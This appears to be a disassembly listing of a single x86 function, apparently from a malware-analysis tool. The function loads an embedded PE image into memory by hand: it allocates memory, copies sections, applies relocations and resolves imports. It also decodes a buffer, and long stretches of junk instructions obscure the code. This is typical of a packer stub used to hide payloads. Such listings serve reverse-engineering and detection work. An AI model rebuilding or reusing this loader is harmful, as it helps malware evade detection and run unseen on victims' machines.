Function at 0x4032d0
Capabilities:
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x1ccb0
call fcn.00406a40
lea ebp, [esp + 0x18b0]
push 0x1b400
push 0x419321
push ebp
call fcn.004075b0
add esp, 0xc
mov eax, 7
add edi, 0xd8
add ebx, 0x94
neg esi
rol ebx, 0x2c
rol eax, 0x71
rcl esi, 0x34
inc eax
bswap edi
not eax
not esi
inc edi
not edi
neg ebx
rol esi, 0xbb
imul edx
neg esi
neg eax
inc edi
mov edx, 0xc1
and ebx, 0xf9
dec edi
rol eax, 0xab
not esi
bswap eax
ror edx, 0xd5
not esi
not ebx
rol edi, 0x4d
inc edi
and esi, 0xf6
rcl eax, 0x82
bswap edx
ror esi, 0xe3
not ebx
imul edi
neg edx
sub edx, 0x7f
dec esi
neg ebx
mov ebx, 0x39
and edi, 0x93
rcl esi, 0xad
rol edi, 0xc6
mov edx, 4
not eax
inc esi
not esi
bswap ebx
mov edx, 0xf4
bswap eax
rol edi, 2
rol eax, 0x3a
imul esi
rcr esi, 0xf9
add ebx, 0x52
rol edi, 0xc8
ror esi, 0xd7
dec ebx
ror edx, 0x50
not edi
dec ebx
not ebx
bswap esi
add edi, 0xb9
inc esi
rcl esi, 0xcd
imul edx
dec esi
neg edx
rol edx, 0x48
or ebx, 2
inc esi
and edx, 0xf3
rcr ebx, 0xd5
dec edx
bswap esi
or esi, 0xa5
sbb edx, 0x8d
ror esi, 0xff
not eax
sbb edx, 0x59
not ebx
dec edi
ror edi, 0x57
ror ebx, 0xc4
not esi
inc eax
ror esi, 0xb9
neg ebx
inc eax
neg edx
bswap eax
imul esi
rol edx, 0x77
ror edx, 0x3d
ror edx, 0x33
rcl esi, 0x98
neg ebx
rcl edx, 0xa3
dec ebx
not ebx
mov esi, 0x32
imul eax
dec ebx
ror eax, 0x46
ror edx, 0xc1
bswap edi
neg edi
inc ebx
sub esi, 0x74
not esi
dec esi
neg esi
imul eax
bswap ebx
sbb eax, 0xe1
inc ebx
imul edx
dec edi
rol ebx, 0x24
dec eax
neg eax
add ebx, 6
dec eax
dec edx
not edi
rcl esi, 0xef
dec edi
or edi, 0x51
not ebx
mov ebx, 0xb2
dec edi
dec ebx
bswap ebx
neg edi
not ebx
bswap esi
sbb eax, 0xea
sub eax, 0xbf
dec ebx
mov esi, 0x94
imul ebx
imul ebx
ror esi, 0x52
add eax, 0x69
inc esi
neg eax
neg edx
neg esi
add esi, 0x47
or edx, 0x31
sbb esi, 0xd2
ror eax, 0x4f
bswap eax
bswap esi
inc ebx
imul eax
sub edi, 0x41
dec eax
neg eax
sub esi, 0x27
not esi
mov eax, 0x9f
imul edx
inc eax
inc esi
rcr esi, 0xfe
sub eax, 0x9b
dec edi
neg esi
not edi
sbb edx, 0x58
neg eax
neg eax
not eax
inc esi
rcr edx, 0x76
imul edx
sub eax, 0xf5
and esi, 0xe2
rcr eax, 0x6d
and edi, 0x3c
mov esi, 0x8a
neg edi
rol eax, 0x7d
rcr edi, 0x23
bswap esi
add edx, 0x88
or edx, 0x70
inc edi
neg esi
add edi, 0xa5
rcl ebx, 0xac
neg esi
or edi, 0x17
and esi, 0x6e
imul edi
neg eax
not edi
push 0x1b400
push ebp
call fcn.00401000
add esp, 8
or edi, 0x60
and ebx, 0x79
bswap ebx
add edi, 0xe8
ror eax, 0x12
ror esi, 0x9b
inc edx
ror esi, 0xb
rcl ebx, 0x39
add edx, 0x6d
neg ebx
and edx, 0x25
rol edx, 0xfe
imul eax
neg eax
inc eax
dec eax
inc esi
and edx, 0x3a
rol eax, 0x14
or esi, 5
sub eax, 0x45
rol eax, 0x5b
imul ebx
bswap eax
rcr ebx, 0x70
dec esi
sbb esi, 0x3d
ror edx, 0x6b
mov edx, 0xda
dec ebx
add esi, 0x13
not edi
bswap esi
dec esi
rcl edx, 0xea
neg esi
or edx, 3
rol edi, 0xfa
add esi, 0xc8
inc esi
add esi, 5
imul edx
bswap edi
neg edi
rcl esi, 0xb
not edx
rcl eax, 0x5a
rol edi, 0x52
not ebx
mov edx, dword [esp + 0x18ec]
mov eax, 1
cmp dword [edx + ebp], 0x4550
jne 0x406968
mov ecx, edx
add ecx, ebp
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0x50]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 0xa4]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
test ecx, ecx
je 0x4035dc
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
jmp 0x403601
push 4
push 0x3000
push eax
mov edi, dword [esp + 0x10]
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, 2
cmp dword [edi + 0x34], ecx
jne 0x406968
mov dword [esp], ecx
not eax
or ebx, 0x47
rcl eax, 0xb0
bswap esi
neg edx
inc esi
inc esi
dec edi
sub ebx, 0x1c
sub edx, 0xde
rol esi, 0x5b
bswap edi
ror eax, 0x1e
not edi
imul edx
neg eax
ror edi, 0xbf
inc edi
not ebx
rcr edi, 0x45
rol esi, 0xee
not edx
inc ebx
not eax
dec ebx
rol esi, 0xe8
bswap edi
bswap esi
sub edx, 0x11
ror edi, 0xac
rol ebx, 0xf9
and esi, 0xa4
dec edi
rcr ebx, 0xfd
rcr esi, 0x64
add eax, 0xd2
or ebx, 0x26
rcl ebx, 0xa9
dec edx
rol edx, 0xf1
neg edx
bswap edi
sub ebx, 0x78
or ebx, 0x13
neg edi
or edx, 0xcb
dec ebx
neg eax
dec eax
not esi
push 0x400
push ebp
push ecx
call fcn.004075b0
add esp, 0xc
inc edi
sbb ebx, 6
add ebx, 0x5a
not edi
inc eax
or esi, 0x17
inc ebx
dec esi
sub edx, 0x49
mov edx, 0x81
not esi
rol edi, 0x64
imul ebx
imul eax
dec edx
bswap edx
and edi, 0xba
imul eax
neg ebx
and edi, 0x77
imul ebx
not edx
add edi, 0x67
not edi
inc edi
dec edi
ror esi, 0x92
ror esi, 0xf6
neg edx
or esi, 0x26
sbb esi, 0xf5
rcl edx, 0x49
dec edi
and edi, 0x89
neg edi
sub ebx, 0xee
add eax, 0x22
mov eax, 0x9f
add esi, 0xc5
neg edx
inc eax
inc eax
rcr ebx, 0xfc
inc esi
neg edx
rcl edx, 0xc5
add ebx, 7
not edi
ror eax, 0x1d
sbb edx, 0xe4
rol edi, 0x3a
bswap esi
mov esi, 0x80
rcr ebx, 0xe4
dec esi
inc eax
imul ebx
dec edi
or edx, 0x63
dec edi
dec edx
bswap eax
rol eax, 0x2d
rcr edx, 0x37
not esi
rcr edi, 0x6a
ror eax, 0x3e
and ebx, 8
sub eax, 0xf6
rol edi, 0xb5
neg esi
rol esi, 0xbf
ror edx, 0x39
bswap esi
and eax, 0x3c
neg eax
add edx, 0x5a
add edi, 0xfe
rol edi, 0xfa
inc edi
inc edi
not ebx
inc eax
imul ebx
dec edx
not esi
and ebx, 0xfe
rol esi, 0xbe
rcl ebx, 0x62
dec ebx
not ebx
sbb esi, 0xfc
sbb eax, 0xb9
dec edx
bswap edx
inc eax
neg eax
dec ebx
neg edi
bswap edx
ror edi, 0x60
imul ebx
rcr edi, 0xf
or edi, 0xf3
not edx
not esi
rol edi, 0xf3
sub ebx, 0x6e
add esi, 0xba
dec edi
neg esi
neg esi
add ebx, 0x8f
bswap eax
add esi, 0x4d
sub eax, 0x5c
rol eax, 0x1e
inc esi
and ebx, 0x9b
imul eax
dec edi
and esi, 0xf1
imul edx
rcr esi, 0x39
rol edi, 0xb3
dec ebx
neg ebx
mov ebx, 0xea
dec edi
or edx, 0xfd
sbb edx, 0x8f
neg edi
or ebx, 0xd7
inc edx
ror eax, 0x44
add edi, 0x1c
mov eax, 6
bswap esi
neg edi
rcr esi, 0x87
ror edi, 0x85
bswap eax
and edi, 0xaf
not edi
not ebx
rcr eax, 0xc0
neg eax
dec esi
dec esi
rcl eax, 0xdd
neg edi
not edx
sbb edx, 0x1a
not edx
sub eax, 0xc5
dec esi
sbb ebx, 0xef
imul edx
ror edx, 0x36
sub ebx, 0xde
sub edi, 0x98
sbb edx, 0x52
ror edi, 0x92
add edx, 0xb9
neg esi
imul ebx
bswap esi
rol eax, 0x2e
mov esi, 0x22
sub esi, 0x3a
rcr esi, 0x23
or esi, 2
sbb esi, 0xf3
dec ebx
rol edi, 0xf9
dec esi
mov esi, 0x6a
not edx
inc edx
dec edi
not edi
sub edx, 0xc3
dec ebx
neg eax
not edx
imul ebx
neg esi
imul edx
and edi, 0xa7
not eax
dec eax
dec esi
rcl edi, 0x7f
inc esi
rcl edi, 0x1d
imul ebx
sub edx, 0x30
add eax, 0xbb
imul edx
dec edx
dec edx
sbb ebx, 0x79
sbb ebx, 0xea
neg ebx
sbb esi, 0xdc
rcr ebx, 0x5f
or eax, 0x9d
rcl ebx, 0xfe
and ebx, 0x16
dec eax
bswap edi
dec edx
not ebx
inc eax
rol esi, 0xf1
sub esi, 0x87
rcl esi, 0xcd
ror edx, 0xdb
neg edx
rol edx, 0x88
imul eax
sub edi, 0xa8
not edx
dec esi
ror esi, 0x1e
neg eax
add eax, 0x13
bswap edx
inc edx
sbb eax, 0x5c
and edi, 0x72
inc edx
or ebx, 0xf
and edi, 0
imul edx
rcr edx, 0xf3
inc esi
ror edx, 0xa5
ror eax, 0xe6
add ebx, 0xaa
rcl edi, 0x55
sub edx, 0x86
ror edi, 0xfc
and esi, 0xc5
rcr esi, 0xf2
ror esi, 0xe3
mov esi, 0xfd
rol ebx, 0xb8
rcr ebx, 3
rcl edx, 0x29
mov ecx, dword [esp + 4]
mov ebx, dword [esp]
movzx eax, word [ecx + 0x14]
cmp word [ecx + 6], 0
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x10], eax
je 0x403996
mov eax, dword [esp + 0x10]
xor edi, edi
lea esi, [eax + 0x14]
nop
mov eax, dword [esi - 8]
mov ecx, dword [esi]
add eax, ebx
add ecx, ebp
push dword [esi - 4]
push ecx
push eax
call fcn.004075b0
add esp, 0xc
mov eax, dword [esp + 4]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x403970
sub ebx, 0x2e
neg esi
imul edi
not esi
not edi
mov edx, 0x25
not ebx
not edi
sbb edx, 0xc0
not edi
neg esi
inc edx
inc ebx
rcr edx, 0xc5
rcl esi, 0xf3
bswap edi
inc edx
mov esi, 0xf6
mov edx, 0xd
sub edi, 0x21
not ebx
sbb esi, 0xaf
rcr eax, 0x94
imul edx
rcl edi, 0x1f
rcr esi, 0x68
mov eax, 0x30
rcl edi, 0x9d
imul edi
rol edi, 0x79
or ebx, 0x94
sbb edx, 0x1a
mov edx, 0x93
sbb esi, 0xaa
neg esi
imul edx
ror edx, 0x77
rcl edx, 0x7c
neg ebx
or eax, 0x10
bswap ebx
add ebx, 0xfd
or ebx, 0x49
rcr ebx, 0x26
rcr ebx, 0x8e
inc eax
rol ebx, 0xde
neg eax
inc edi
bswap edi
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 8]
mov eax, ebx
sub eax, dword [ecx + 0x34]
je 0x403b88
cmp dword [esp + 0xc], 0
je 0x403b88
add ebp, ebx
xor ecx, ecx
jmp 0x403a62
mov ecx, dword [esp + 0x14]
add ecx, edi
mov ebp, edx
cmp ecx, dword [esp + 0xc]
jae 0x403b88
mov edi, dword [ebp + 4]
lea edx, [ebp + 8]
mov dword [esp + 0x14], ecx
lea esi, [edi - 8]
cmp esi, 2
jb 0x403a50
mov edi, dword [ebp]
shr esi, 1
mov dword [esp + 8], ebp
lea ecx, [esi - 1]
add edi, ebx
cmp ecx, 7
mov ecx, dword [esp + 0x14]
jae 0x403ac0
and esi, 7
jne 0x403aa6
mov esi, dword [esp + 8]
mov ebx, dword [esp]
mov edi, dword [esi + 4]
jmp 0x403a54
add edx, 2
dec esi
je 0x403a90
movzx ebx, word [edx]
test ebx, 0x3000
je 0x403aa0
and ebx, 0xfff
add dword [edi + ebx], eax
jmp 0x403aa0
mov ebx, esi
and ebx, 0xfffffff8
jmp 0x403ad8
add edx, 0x10
add ebx, 0xfffffff8
je 0x403a8b
movzx ebp, word [edx]
test ebp, 0x3000
je 0x403aec
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x403b01
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x403b16
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x403b2b
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x403b40
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x403b55
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x403b6a
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x403ad0
and ebp, 0xfff
add dword [edi + ebp], eax
jmp 0x403ad0
dec edx
sbb edi, 0x2d
dec esi
rcl edx, 0xe7
rcl ebx, 0xcf
sub edi, 0x1f
rcl ebx, 0x62
inc ebx
neg edi
bswap edi
bswap edi
neg esi
or edi, 0xa4
imul ebx
rcl eax, 0x36
not edx
add eax, 0x29
rcl edi, 0x5a
and edi, 0x76
inc ebx
bswap ebx
imul edx
dec ebx
neg esi
inc esi
imul edx
dec edx
bswap ebx
ror ebx, 0x26
add edi, 0xb7
rcl eax, 0
inc edx
mov esi, 0x5c
dec edx
mov edx, 0x1c
rcl esi, 0xc4
neg ebx
rcl esi, 0x16
bswap esi
imul esi
bswap edi
rol eax, 0xa1
dec edi
inc eax
dec esi
neg eax
rcr eax, 0x2b
bswap eax
mov edx, 0x7e
ror edx, 0xd8
imul esi
inc ebx
and esi, 0x42
rcr edx, 0xd8
imul edi
dec esi
rcr esi, 0x6b
sbb edi, 0x11
imul esi
inc edx
and edi, 0x4b
bswap esi
neg eax
rcl edi, 0xfe
neg edi
sbb edx, 0x83
not ebx
sbb edi, 0x9d
bswap edi
bswap esi
bswap esi
not eax
rcl eax, 0xc1
bswap edi
imul edx
and esi, 0xc
and edx, 0xd2
add eax, 0xa4
dec ebx
or eax, 0x17
add eax, 0xbb
and ebx, 0x7c
ror ebx, 0x70
imul esi
bswap esi
dec edi
not eax
dec edi
bswap eax
rcl ebx, 0xc
add esi, 0x7a
neg eax
bswap ebx
sub edx, 0xfe
neg edi
sbb ebx, 0x5e
imul edi
neg ebx
add esi, 0xa9
mov esi, 0x4a
mov esi, 0x5b
bswap edi
rcl esi, 0x18
ror esi, 0x72
ror edi, 0xd9
imul esi
neg edx
neg eax
not eax
neg ebx
rol esi, 0x86
not edx
ror esi, 0x14
neg ebx
mov edx, 0x20
rcl ebx, 0x18
rcl edx, 0xba
sbb eax, 0x44
sbb esi, 0xe0
mov eax, 0x91
rcl ebx, 0x95
neg ebx
inc edi
not edx
add ebx, 0xfd
inc ebx
sbb edi, 0x99
or eax, 0x69
mov ebx, 0xa7
neg ebx
ror edi, 0x70
rcr edx, 0xc9
or edi, 0x85
or ebx, 0xf6
sub eax, 0x8c
rol esi, 0xcb
add edi, 0x6a
imul eax
and edi, 0x81
imul eax
rol edx, 0x76
sub edi, 0xc3
rcr eax, 0xff
bswap esi
bswap edi
sub edi, 0xfd
neg eax
bswap edx
sub eax, 8
not ebx
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov edx, dword [eax + 0x80]
cmp dword [edx + ecx + 0x10], 0
je 0x403df5
lea eax, [edx + ecx + 0x10]
add edx, ecx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], eax
jmp 0x403d7e
mov esi, dword [esp + 8]
mov edx, dword [esp + 0xc]
inc esi
lea eax, [esi + esi*4]
lea ecx, [edx + eax*4 + 0x10]
cmp dword [edx + eax*4 + 0x10], 0
mov dword [esp + 0x14], ecx
mov ecx, dword [esp]
je 0x403df5
lea eax, [esi + esi*4]
mov dword [esp + 8], esi
mov eax, dword [edx + eax*4 + 0xc]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x403d60
mov esi, eax
mov eax, dword [esp + 0x14]
mov ebx, dword [eax]
mov eax, dword [esp]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x403d60
mov edi, dword [esp]
add ebx, edi
add ebx, 4
jmp 0x403dd5
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx]
mov dword [edi + ecx], eax
add edi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x403d60
movzx eax, bp
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x403dc0
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x403dc0
lea eax, [esp + 0xb3]
push 0x17fd
push 0x434721
push eax
call fcn.004075b0
add esp, 0xc
vmovdqa ymm0, ymmword [0x4171e0]
vpbroadcastb ymm5, byte [0x417ae1]
xor eax, eax
nop word cs:[eax + eax]
vpbroadcastb ymm4, byte [0x417ae2]
vpbroadcastb ymm1, byte [0x417ae1]
vpbroadcastb ymm2, byte [0x417ae3]
vpbroadcastb ymm3, byte [0x417ae4]
vpbroadcastb ymm6, byte [0x417ae5]
vpaddb ymm4, ymm4, ymmword [esp + eax + 0xb3]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4377c0]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4377e0]
vpxor ymm4, ymm4, ymm1
vpxor xmm1, xmm1, xmm1
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x437800]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae6]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm1, ymm4
vpbroadcastb ymm1, byte [0x417ae7]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x437820]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417ae8]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae9]
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aea]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm7, ymm0, ymm6
vpaddb ymm4, ymm7, ymm4
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x4174a0]
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae4]
vpor ymm4, ymm4, ymm7
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x417740]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpaddb ymm1, ymm0, ymm0
vpor ymm4, ymm4, ymm7
vmovdqu ymmword [esp + 0x14], ymm1
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aeb]
vpsrlw ymm7, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm7, ymm7, ymm6
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm1, ymm4
vpaddb ymm4, ymm4, ymmword [0x437860]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm7, ymm7, ymm6
vpbroadcastb ymm6, byte [0x417aec]
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aed]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x437880]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpxor xmm3, xmm3, xmm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae7]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm3, ymm4
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm6, ymm7
vpand ymm4, ymm4, ymm6
vmovdqa ymm1, ymm6
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aee]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae4]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm6, ymm7
vpand ymm4, ymm4, ymm6
vmovdqa ymm3, ymm6
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x4378c0]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n________________________________]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417aeb]
vpor ymm7, ymm4, ymm7
vpaddb ymm4, ymm0, ymmword [esp + 0x14]
vpsubb ymm7, ymm4, ymm7
vpaddb ymm7, ymm7, ymmword [0x437900]
vpsrlw ymm6, ymm7, 7
vpaddb ymm7, ymm7, ymm7
vpand ymm6, ymm6, ymm2
vpor ymm6, ymm7, ymm6
vpbroadcastb ymm7, byte [0x417aef]
vpsubb ymm6, ymm7, ymm6
vpsrlw ymm7, ymm6, 1
vpsllw ymm6, ymm6, 7
vpandn ymm7, ymm5, ymm7
vpand ymm6, ymm6, ymm5
vpor ymm6, ymm6, ymm7
vpxor ymm6, ymm6, ymm1
vpsrlw ymm7, ymm6, 7
vpaddb ymm6, ymm6, ymm6
vpand ymm7, ymm7, ymm2
vpor ymm6, ymm6, ymm7
vpbroadcastb ymm7, byte [0x417af0]
vpaddb ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpsrlw ymm6, ymm4, 4
vpsllw ymm4, ymm4, 4
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417ae7]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af1]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af2]
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpcmpeqd ymm3, ymm3, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x437920]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae9]
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af3]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x437940]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4175e0]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af4]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae4]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x437960]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x437980]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af5]
vpaddb ymm4, ymm4, ymm0
